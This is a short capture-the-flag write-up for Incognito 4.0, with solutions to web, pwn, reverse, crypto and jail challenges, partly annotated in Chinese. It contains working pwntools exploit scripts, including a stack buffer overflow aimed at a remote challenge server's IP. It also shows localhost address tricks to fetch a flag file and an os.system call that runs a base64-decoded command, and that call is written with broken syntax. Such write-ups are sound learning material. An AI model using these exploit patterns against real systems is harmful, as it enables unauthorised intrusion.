Incognito 4.0 CTF Write Up

Web

1. get flag 1

[http://0.0.0.0:9001/flag.txt

2. get flag 2

http://[::]:9001/flag.txt

Pwn

1. babyFlow

from pwn import *

p = remote('143.198.219.171',5000)
p.recv()
g = (0x14+4)*'a'+p32(0x80491fc)
p.sendline(g)
p.interactive()

#ictf{bf930bcd-6c10-4c05-bdd8-435db4b50cdb}

2. Gainme

from pwn import *

context.log_level = 'debug'
context.arch = 'i386'
p  = remote('143.198.219.171',5003)
p.recvline()
p.recvuntil('Level 0:')
p.sendline("ICTF4")
p.recvuntil('Level 1:')
p.sendline('dasDASQWgjtrkodsc')
p.recvuntil('Level 2:')
p.sendline(p64(0xDEADBEEF))
p.recvuntil('Level 3:')
p.sendline('1')
p.interactive()

#ictf{g@inm3-sf23f-4fd2150cd33db}

Reverse

1. Meow

data=open("Meow","rb").read()
print(data[1::2].decode(errors='ignore'))

#ictf{easiest_challenge_of_them_all}

Crypto

1. Ancient

下载的图片需要手动加png文件头

https://jsom1.github.io/_challenges/templed

一个比赛原题
手动对着表转一下就行

2. Crypto1

with open("result", 'r', encoding='utf-8') as f:
    cy = f.read()
print(cy)
print(len(cy))

def func(f, i):
    if i<5:
        out = ord(f) ^ 0x76 ^ 0xAD
        var1 = (out & 0xAA) >> 1
        var2 = 2 * out & 0xAA
        return var1 | var2 
    elif i>=5 and i<10:
        out = ord(f) ^ 0x76 ^ 0xBE
        var1 = (out & 0xCC) >> 2
        var2 = 4 * out & 0xCC
        return var1 | var2
    else:
        out = ord(f) ^ 0x76 ^ 0xEF
        var1 = (out & 0xF0) >> 4
        var2 = 16 * out & 0xF0
        return var1 | var2

dic = {}
flag = ''
for i in range(15):
    for j in range(128):
        t = chr(func(chr(j), i))
        if t==cy[i]:
            print(i, chr(j), j)
            flag += chr(j)
            break

print(flag)

#ictf{88f30d1cd1ab443}

TheOnlyJail

1. TheOnlyJail

import os
import base64

os.system(b64.base64decode("some_base64_encoded_command_like_cat /home/ctf/flag.txt"))